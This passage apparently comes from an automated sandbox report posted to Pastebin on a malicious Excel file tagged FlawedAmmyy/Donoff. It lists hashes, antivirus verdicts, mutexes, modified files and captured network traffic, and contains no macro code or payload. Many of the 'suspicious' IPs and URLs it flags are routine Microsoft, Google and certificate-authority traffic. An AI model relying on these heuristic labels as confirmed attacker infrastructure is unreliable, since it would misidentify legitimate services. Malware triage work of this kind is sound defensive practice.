API tools faq
paste
paladin316

flawedammyy_50ff2a788c7ecc088e703cda874394cb_xls.json

paladin316
Jun 20th, 2019
2,263
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 218.08 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Donoff"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "flawedammyy_50ff2a788c7ecc088e703cda874394cb.xls"
  7. [*] File Size: 172032
  8. [*] File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Microsoft Office, Last Saved By: alex, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jun 19 17:19:06 2019, Last Saved Time/Date: Wed Jun 19 17:42:15 2019, Security: 0"
  9. [*] SHA256: "0e91e6e17f8c8e2f1ae29e13f116c8611cb7679607695eed355025295fb1999a"
  10. [*] MD5: "50ff2a788c7ecc088e703cda874394cb"
  11. [*] SHA1: "2755cb7a957bae5c543147ab3f403a2918e66e56"
  12. [*] SHA512: "249321f005f5b0c0f3172009ec99c441c1830b11d923f557cea4e34587e7f76468d536e7fc2b302c52e07332fc9c959223e7eaa91f9be87cbb1434bf32ff74fd"
  13. [*] CRC32: "3894557C"
  14. [*] SSDEEP: "3072:j8ihKpb8rGYrMPelwhKmFV5xtezEsgrdgzLwQdh4Mj2IxKC+l1e1qn8/H7yr0KUv:j8ihKpb8rGYrMPelwhKmFV5xtuEsgrdy"
  15.  
  16. [*] Process Execution: [
  17. "EXCEL.EXE"
  18. ]
  19.  
  20. [*] Signatures Detected: [
  21. {
  22. "Description": "Attempts to connect to a dead IP:Port (7 unique times)",
  23. "Details": [
  24. {
  25. "IP": "65.52.98.231:443"
  26. },
  27. {
  28. "IP": "23.61.187.27:80"
  29. },
  30. {
  31. "IP": "104.18.24.243:80"
  32. },
  33. {
  34. "IP": "23.54.187.27:80"
  35. },
  36. {
  37. "IP": "52.109.92.24:443"
  38. },
  39. {
  40. "IP": "72.21.91.29:80"
  41. },
  42. {
  43. "IP": "52.109.12.6:443"
  44. }
  45. ]
  46. },
  47. {
  48. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  49. "Details": [
  50. {
  51. "ioc": "5.ex"
  52. },
  53. {
  54. "ioc": "stdole2.tlb"
  55. },
  56. {
  57. "ioc": "orms.exd"
  58. },
  59. {
  60. "ioc": "nc.100."
  61. }
  62. ]
  63. },
  64. {
  65. "Description": "Performs some HTTP requests",
  66. "Details": [
  67. {
  68. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  69. },
  70. {
  71. "url": "http://t2.symcb.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D"
  72. },
  73. {
  74. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  75. },
  76. {
  77. "url": "http://tl.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEEoxfSNtIMRcPdNPMcVxcZc%3D"
  78. },
  79. {
  80. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  81. },
  82. {
  83. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  84. },
  85. {
  86. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D"
  87. },
  88. {
  89. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  90. },
  91. {
  92. "url": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D"
  93. },
  94. {
  95. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D"
  96. },
  97. {
  98. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D"
  99. },
  100. {
  101. "url": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"
  102. },
  103. {
  104. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D"
  105. },
  106. {
  107. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D"
  108. },
  109. {
  110. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D"
  111. },
  112. {
  113. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D"
  114. },
  115. {
  116. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D"
  117. },
  118. {
  119. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D"
  120. },
  121. {
  122. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D"
  123. },
  124. {
  125. "url": "http://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D"
  126. },
  127. {
  128. "url": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
  129. },
  130. {
  131. "url": "http://th.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D"
  132. },
  133. {
  134. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D"
  135. },
  136. {
  137. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D"
  138. },
  139. {
  140. "url": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D"
  141. },
  142. {
  143. "url": "http://redirector.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe"
  144. },
  145. {
  146. "url": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes"
  147. }
  148. ]
  149. },
  150. {
  151. "Description": "The office file has a unconventional code page: ANSI Cyrillic; Cyrillic (Windows)",
  152. "Details": []
  153. },
  154. {
  155. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  156. "Details": [
  157. {
  158. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x0b:qa\\xc9\\xc2\\xf0e\\xa8\\xb4\\x9b\\x1e\\xb8\\xa4\\xb0k\\xae\\x04\\xd4\\xd1\\xb4w\\xc1\\x16\\xdc\\xb9hm\\xa6\\xaa\\xd1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  159. },
  160. {
  161. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdde\\xae\\x88kp\\xa5t\\x14\\xf6\\xaf\\xdf4\\xc6ma\\xdf\\xee\\xcd,\\xec\\x80\\xb7q\\xf6\\xdad\\xcb\\x86\\x1d\\xcb\\xbc\\x17vf\\x80r\\x92\\xa7\\xff12\\x01y\\xc9\\x8f\\xc5\\x00p\\x9dk\\x847e8o\\x1f\\xd6\\xf7d\\x8em\\xa8$\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\r\\xb0\\xa4\\x99f>\\x1a\\xd7!p\\x0fbc\\xe7\\xc3\\x8a\\x8e\\x11\\x9e]\\xf9.\\xbd9\\x18\\xb0\\xef\\x02c\\xc1\\x95h\\x15\\x17\n\\xf9\\xae\n\\xb3\\x0f\\x8f\\x0exvs\\xcd\\xa8\\xad"
  162. },
  163. {
  164. "http_request": "excel.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\ncache-control: max-age = 89056\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: fri, 22 mar 2019 18:30:24 gmt\r\nif-"
  165. },
  166. {
  167. "http_request": "excel.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbqwf4prw9s7mcbcehd%2fyl6nwpkczaque1tfz6%2foy3r9mziaarbzrutxsfacehggtzav3bgvwjsrmhjuvms%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: t2.symcb.com\r\n\r\n"
  168. },
  169. {
  170. "http_request": "excel.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  171. },
  172. {
  173. "http_request": "excel.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbsfbjxn%2bwy73bfunsop7hdkj%2fbx0wquv4abvli%2bpimk5pbc4hmyiyxn3lcceeoxfsntimrcpdnpmcvxczc%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: tl.symcd.com\r\n\r\n"
  174. },
  175. {
  176. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x01p\\xcd\\xb2\\x9a\\x19\\xa7\\xdc\\xac\\xf3\\x97kd\\xc7\\xa7\\x97j\\x83/\\x90,\\xf1\\x8d\\x82\\x1b.\\xc5\\xea\\xd6'\\x8ai\\x88n\\xb5\\x8c\\x03\\x87\\x15\\x1f\\x13\\xf2\\xcc\\xc1\\xbcnk\\xbc` [ \t\\x82\\x8b\\x81\\x97\\xe4\\xbc\\x0b\\x9e\\xa3\\xe3@o\\xb3\\xe3,\\xa6!\\x1cs\\xcc\\x9a\\xb0\\xdc\\x85*b\\xaee)\\x1b\\xd4\\xd5\\x01t\\xc4\\x15\\x7f\\xee\\x0c,52\\xc5\"s\\xcd\\x9c\\x1c\\x9bph\\x1disg+\\xdb\\xb7\\xa8\\xe3\\xb1\\xfb%\\xcer\\xbc#\\xac\\j.\\x838\\xdf\\x15t\\xce/\\xf1\\xb8\\x06\\x15\\xc0)\\xb6\\x16^~(\\xb0as\\x1e\\x06\\xf4\\x9d\\xdf\\xf7)\\xae\\xa5m\\xdfi\t\\x91\\x16w\\x05\\xaf\\xc5xz\\x0el_\\x0c\\x1d:\\x9f\\x81\\xe5\\xfb\\xd5\\x1cr\\x1bu0\\x7f\\x0b\\x18y4\\x0e\\xccv[\\x92\\x04\\xbd\\x048\\xd2\\xe2\\x8e\\xba\\x9a:\\xb7!\\xba\\xe4\\x1f\\xdc\\x12\\x19\\x00\\x1f\\\\xd9\\xaa@\\x1cx\\x86\\x8f\\xee\\x801\\xdd\\xd8\\\\x0f7\\xd5\\xe2?\\x8d\\xe5\\xcfo;\\xc3\\x17h \\xfd\\x91\\xb5x\\x89\\x99\\xfc\\x9c\\xa0\\xeb\\xb0\\xa8\\xaf"
  177. },
  178. {
  179. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x02 i-\\xe0\\x14q\\xd0\\xc7\\xda\\x9bf-i\\xfb\\xef\r\\xf2\\x1d+\\xce\\x8c`o\\xc0v ]y.\\x8f\\x8c{i\\xb7\\x1d\\\\xc8\\xaf2\\x88\\xcc\\x9a;\\xd5\\x11t\\x9a\\xa8o\\x88\\x9f\\xbf\\xeb\\x04\\xac>*3\\x00\\x15t\\x0f\\xd2\\xfbbbn\\x07j\\xc7\\xf0\\xe2 e\\x15\\x13\\xee`\\xe4x\\x9e\\x8d\\xd7zl\\xe4\\xff\\xb1\\x07\\x97\\x87c\\xfa\\x90\\xf7\\xdd\\xe3a\\x9d\\x15\\xff\\xd8\\x14\\xf0\\xf0\\x7f\\xfb\\xe0aq\\xdd\\xfa;\\xb1^\\xf95\\x96\\xbbl\\x91 \\xf3\\x97\\xcfp]\\xe4\\xfa\\xd6\\xf6\\x15\\xdb\\xb9\\xedj\\xf6\\x15\\x1c\\xa4\\x8a\\xb9z\\xba\\xa2\\x07\\x17\\x86;\\\\xd3\\xb9\\x00}\\x8d\\xfb\\xe7\\\\x1c\\x1ag'\\x0cy\\xc6\\\\x94k\\x15']\\xddn\\xecb\\x14\\xb2\\xf7\\xe2d7;\\x0f_\\x85c\\xa3fw\\x89\\xc7[=s\\xf1c\\xa5\\xe5\\x8b- \\x88\\xdcl\\xc2p\\x10\\xfd\\x9e\\xa2\\xa9\\xc4\\xe9d\\x8d)\\xd4/\\\\x00\\xac\\xd0r-\\xd1-\\xb0\\xd0\\x14pv\\xc8\\xf2g2\\xd1\\xca\\xa2-\\x8bfy\\x13\\xcfj\\x1ba;\\x13\\x9c8\\xff"
  180. },
  181. {
  182. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x0b:u'\\xc82w\\xbe7v\\x0b\\xdf,\\x14\\xf5|\n\\xf4;\\xea\\x06hxe\\x07\\x86<eja\\xaf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  183. },
  184. {
  185. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe1e[\\xa9\\x154\\x968j\\xe2\\x057\\xc0c{\\x8a\\x81#\\x0b\\x1ay\\xea\\x03\\xdbs\\xf9\\x9b\\x0b8\\x1a\\xf0&\\xfd\\x16\\x7f\\xb6\\xf2\\xc3\\xaa\\x87\\xe9\\xf6\\x08\\x12\\xd1\\xe2\\xa68\\x0el\\xda\\x85\\xe3\\xb3\\xe5\\x99g\\x1ev,\\xda~\\xbe\\x10\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c\\xf8\\xa4\\xe8\\xf7\\x08t\\xa2\\x89\\xd1\\xc4\\xf9h\\x7f\\xbey\\x12?\\xba0fkc\\xa0\\xdb\\x83\\xb0'\\x18:\\x03\\x1b\\xa6\\xb2\\x1c\\xec\\x1c\\x94\\xe1\\x1d\\xbb\\xffb7\\x1b\\xc4t%"
  186. },
  187. {
  188. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x01p\\x1c#\\x17\\xcb\\xfby\\x10\\xa7#\\xeb\\x9e\\xfe\\x9d\\x8e\\xd7\\xc9\\xca\\xce$1\\x7f\\x18\\x92\\xc1\\x9b\\xca\\x14ys\\x1e\\xe9\\xc2\\xb9\\xd7\\xea\\xd2g\\x1e\\x1d\\\\x86yi\\xcf\\xe7o8nz}d\\x7f\\x1d\\xa4i\\xb4\\x87\\xdd\\x95\\x17\\xa6\\xe5#\\x12/\\\\xf2\\xd6\\x13zk\\x1a\\x0bq>\\xf0)\\x90\\xa7\\xbb\\xeb\\xfe\\xfd\\xe0\t%\\x11d\\xd4hcw\\xa0\\xfej\\x8c\\xb7\\xed\\xf8\\x17\\xba\\xcas\\x85hi\\xd8\\xb1\\xdf7\\xc5\\x8a\\xd5&\\xca\\xf6\\xd0\\xe6\\xd3\\x0c\\xa3\\xb3h\\x84\\xfd\\xbb\\xfc\\xfc8\\x17\\xbf<8or]\\xe3\\xb3\\x99;\\x99[3s\\x89b\\xd4y\\xd2\\\\xf0f\\xc24\\x9d\\xa7\\x10\\xf8uwo\r\\x8dde\\xdf\\xe7\\xc0\\xe0a\\xc8\\x93.+\\x86\\x80\\xdf\r\\xf2\\xdc\\x13\\xa3!>\\xbb\\xff\\xeag\\x13\\xfb\\xa6i\\xa4\\x97y]\\xd7\\xd4\\xe4\\xab5zhe\\xc5@\\x0e\\xe4\\xac\\x8f\n\\xfb\\xa8\\xf9\\x80\\x94\\x89\\x9a\\xb0a\\x8f1u\\xbb\\xb6$\\xeb\\xd2\\xf8\\x94\\xd2\\xa1\\x98i\\x85\\xda9(3\\x01\\xfda\\xb7\\xd7\\xcf\\x97f\\xcb\\xc99q"
  189. },
  190. {
  191. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00{\\x03\\x01]\\x0b:x\\xb7q\\xdf\\x9f\\x1f\\x86p\\x00\\xe7\\xefmrew\\xe0\\xcb\\xfa6\\x02\\xb6\\xb4u\\x1a\\x07v\\x03\\xbc`\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  192. },
  193. {
  194. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\xb9\\xa3\\x1ck\\xf1\\xb0\\xa6\\xf8x\\x83p\\x1e\\x9f\\xd7\\xc6#4\\x19\\x17^\\x07\\xd9#\\x9f\\xc3i\tl\\xb9\to\\x08\\xec0\\x9a(\\xc4\\xf3\\xed\t>&\\xba\r97\\x18\\xa9\\xd6\\xec[\\xcf\\xfds\\x07\\xab\\x0c([\\xda\\xae\\x93\\xa2^\\xcc\\x7f\\xee\\xf8\\x00\\x14\\xbff\\x9c\\x9fi\tr\\xe8fe\\xa6\\x04\\xe4\\x06,\\xfc\\xc5\\xf1\\x8cj\\xea\\x81\\xeb\\x85\\xfd\\x11\\x9e\\xca\\xdcy:\\xd9\\x80\\xc8\\x9b\\x96\\xc2`\\x02\\x1fx\\xf0\\xba\\x00\\xd9\\x80\\xb9\t9e\\x99\\xb2c\\xa5\\x90d\\xc2\\xac\\x19rl\\x01zv\\xd7\\x9a\\x8d2\\xd0\\xc0(r(\\x80\\x01\\xcb\\x93\\xf7\\xdb\\xce\\x0ep\\x87n\\xb9\\xc0m\\xffb\\xd4\\xbdb\\x1bjzn\\xc4\\x1f\\xd02\\xb0\\x8f:\\x9c\"\\xb7\\xa4\\xdb\\xdb\\x1e`5\\xc5nc\\xf7+oc\\x10\\xa9\\x1c\\x88\\xea\\xf2|z\\xa1\\xbb\\x80\\xc0\\x9c\\xf7.}\\xba\\xcc\\xb77o\\x17\\x8cq_i\\x19\\xec-o\\x06\\xf7\\xec\\x9do\\x90<i\\xd94\\xce\\x0f\\x06\\xe6foa\\xe5\\xb2\\xf8;\\xb9\\x0b\\xa2\\xaa\\xd3"
  195. },
  196. {
  197. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x01`\\x95d\\x12\\x1e\\xde\\xe0\\x03\\xf2qr\\xa9/\\x85qq?/\\xb2\r[c\\x97p,\\x8ba|\\x9f\\xae!\\xf6\\x0e\\xdc\\xf4\\x9d(@%2)\\xf4|\\x0ewo\\xdd'\\x07=[\\xbfh+.tm\\xdfv\\x04\\x85\\xe2y\\xd4\\xc3):rz$\\xe8\\xden\\x8d\\x9f\\xfbb0\\x83egy,fp\\xab[k\\xe7\\x1e\\xba\\x13\\xbb\\\\xb3kg\\x94\\x9ex\\x9c\\x1a\\x8a\\x0b\\x9f6\\xeb\\x0f\\xe75\\xe8\\xda\\x8bk\\xcf7o\\xf9\\x06-t\\xe7n\\xc8\\xd8d9\\xfd\\xb8\\x99q[\\x01\\xdd\\xc6\\xf2\\xa2)(\\xb5\\xe6\\xc9\\x11z^\\x12\\xa6\\xab2\\xe76\\x0b3\\xab\\xa8\\xe9\\x10l\\x14\\xd8\\xbfzp\\xc4\\xbe\\xb7s\\x1f}\\xb8\\x8d\\xca\\x16\\xc5\\xfc\\xf1\\xb3\\xbc\\x94[\\xa2\\x199\\x08\\x97!\\xc0\\xb3\\xfb?5\\xd9\\xb4\\x13\\x9e\\xe9k\\x1ac\\xe1\\x16\\x84\\x96\\x08\\x8a\\xdd\\xe4\\xb1\\xf3\\x03\\xd5\\xb9xf\\x05\\x93\\x00\\x88\\x0b\\xf7\\xb2\\xbb#\\xe6\\x80\\xe9em\\xc7\\x94z\\xc5\\xb4\\xb3@\\x87\\xc5}\\xe0s\\x17i>\\xf1\\x07\\xb3\\x0e\\x00y\\xb4\\xe6a"
  198. },
  199. {
  200. "http_request": "excel.exe_WSASend_\\x17\\x03\\x019p\\xc2\\xaa\\x9d\\x86\\xff^\\x1d\\xc3\\xdd\\xec\\xa8\\xe3u\\xb3i\\x8d:\\xd2\\xfbd\\xfa\\xe5\\xa6\t\\xf3\\xc0h\\xa6\\xa8\\xc0{\\xf7\\xfd\\x93\\x1b?{\\xf6)\\xe2\\xa4\\x18\\xec\\x12%\\x91\\xfab\\x88`=\\x9a@\"\\x92%\\x07\\xc3\\xf2\\xc3lu-\\xae\\xfao+{u0e\\x18i\\xae\\x10\\x16v\n\\x8a\\x9e\"'\\xbe\\x9e\\x8d\\x8b\\x10\\x13\\xed5\\x0b\\xcc\\x99\\x89j\\xe3s'.\\xf6\\xf1-\\xb4x\\x10\\xfa]2\\x9a\\x17o5\\x08\\xfby\\xadc\\xb07\\xfd'y\\xeey\\xb0\\x84n\\xc6\\x0f\\xbbg\\xa0q<!l0\\xd5\\x16\\xdf0v\\x0f\r\\x05sz\\xd6\\x93\\xbd\\x88\te\\xa8yr\\xcf\\x18\\xd1\\x1cq\\xcd\\x06\\xf6\\xbd>\\xc1\\x0fh=[\\xfe\\xb8\\x04\\xa1\\xd7t\\x87d\\x19o\\xd1\\xb3\\xcf\\x9d\"begu\\xf3\\xd5\\x97\\x9d\\xc1%\\x99\\x88!z\\xbd*\\xac\\xbb\\xe3\\x7f\\x83\"l\\xd7\\x07\\xdao\\xac\\x9ap\\x16\\xb6\\x88v\\x0f!\\x98\\xbf\\xe2\\xc5\\xcf\\xcf\\xf1\\x0bsd>\\xfas\\xe0\\x8c*\\\\xa2\\xaf,^/\\x19@\\x8a\\x06\\x13g\\x84"
  201. }
  202. ]
  203. },
  204. {
  205. "Description": "File has been identified by 13 Antiviruses on VirusTotal as malicious",
  206. "Details": [
  207. {
  208. "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
  209. },
  210. {
  211. "Rising": "Downloader.Msiexec/VBA!1.B93D (CLASSIC)"
  212. },
  213. {
  214. "DrWeb": "Exploit.Siggen.23570"
  215. },
  216. {
  217. "McAfee-GW-Edition": "BehavesLike.Downloader.cb"
  218. },
  219. {
  220. "Ikarus": "Win32.Outbreak"
  221. },
  222. {
  223. "Microsoft": "TrojanDownloader:O97M/Donoff"
  224. },
  225. {
  226. "Endgame": "malicious (high confidence)"
  227. },
  228. {
  229. "ViRobot": "XLS.S.Agent.172032"
  230. },
  231. {
  232. "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
  233. },
  234. {
  235. "AhnLab-V3": "MSOffice/Xprocess"
  236. },
  237. {
  238. "ALYac": "Trojan.Downloader.XLS.gen"
  239. },
  240. {
  241. "TACHYON": "Suspicious/X97M.Downloader.Gen"
  242. },
  243. {
  244. "Zoner": "Probably W97Shell"
  245. }
  246. ]
  247. },
  248. {
  249. "Description": "The office file has 2 macros.",
  250. "Details": [
  251. {
  252. "malicious_author": "The file appears to have been created by a known fake author indicative of an automated document creation kit."
  253. }
  254. ]
  255. }
  256. ]
  257.  
  258. [*] Started Service: [
  259. "osppsvc"
  260. ]
  261.  
  262. [*] Executed Commands: []
  263.  
  264. [*] Mutexes: [
  265. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  266. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  267. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  268. "KYIMEShareCachedData.MutexObject.user",
  269. "KYTransactionServer.MutexObject.user",
  270. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  271. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000"
  272. ]
  273.  
  274. [*] Modified Files: [
  275. "C:\\Users\\user\\AppData\\Local\\Temp\\flawedammyy_50ff2a788c7ecc088e703cda874394cb.xls",
  276. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF17099B4D88CDBE9B.TMP",
  277. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  278. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
